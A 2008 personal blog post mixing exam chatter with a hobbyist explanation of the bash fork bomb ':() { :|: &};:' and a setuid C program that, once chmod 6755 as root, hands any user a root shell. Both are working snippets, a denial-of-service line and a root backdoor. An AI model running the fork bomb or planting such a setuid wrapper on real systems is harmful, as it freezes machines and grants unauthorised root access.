Posted by: h4ck@lyst | March 5, 2008

well..

Well just came to know that my CPCs are ending next week. And to my own surprise I didn’t like the news. Well yeah true, I want more of them. They are really fun. I mean they are kinda exams which you take without any pressure of performing real well. These are the kinda exams that I dreamed  about. These really gauge what all you know rather than what all you mug up before the exam night. Well after the written round, now we’ll have mock PIs and GDs. Looking forward to them as well.

Fork Bombs.

Well that is something new that I learnt last night. Its a kinda of DDoS attack method. And in order to use one became a script kiddie myself. :! A fork bomb is basically a piece of code, or a kinda recursive function which keeps calling itself such that it creates multiple instances of the same process, saturates the entire number of the processes a processor can support and therein leaves no space for any other process. The computer seems to freeze as its not available for any other process. You cant even type, not even with the root account.

 http://en.wikipedia.org/wiki/Fork_bomb

Example fork bomb

:() { :|: &};:

Explanantion

:() <- A function : It can be any name

{

:|:&

} ;

The body of the fuction, or the definition of the function. The function itself is given as an input to itself and is run in the background(&).

; end of function derfintion

: Calling the function

So the above function can be rewritten as say

anshu() { anshu|anshu&}; anshu

Hmmm…

Prevention of fork bomb.. one way is to restrict the number of processes a user can run. But it aint a very lucrative option. Grsecurity is a software supposed to log the user who initiated a fork bomb attack. I havent used it yet.

Setuid.c

Well, yazhini’s blog introduced me to this concept. hari had once told me about it long time back when I was looking for a way to grant the people root permissions without giving them the password.

#include <unistd.h>
main()
{
setuid(0);
setgid(0);
system(“bash”);
}
Compile this program as root. setuid on the executable generated as root by

chmod 6755

Voila.. now whoever runs this executable gets root terminal..

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Categories

%d bloggers like this: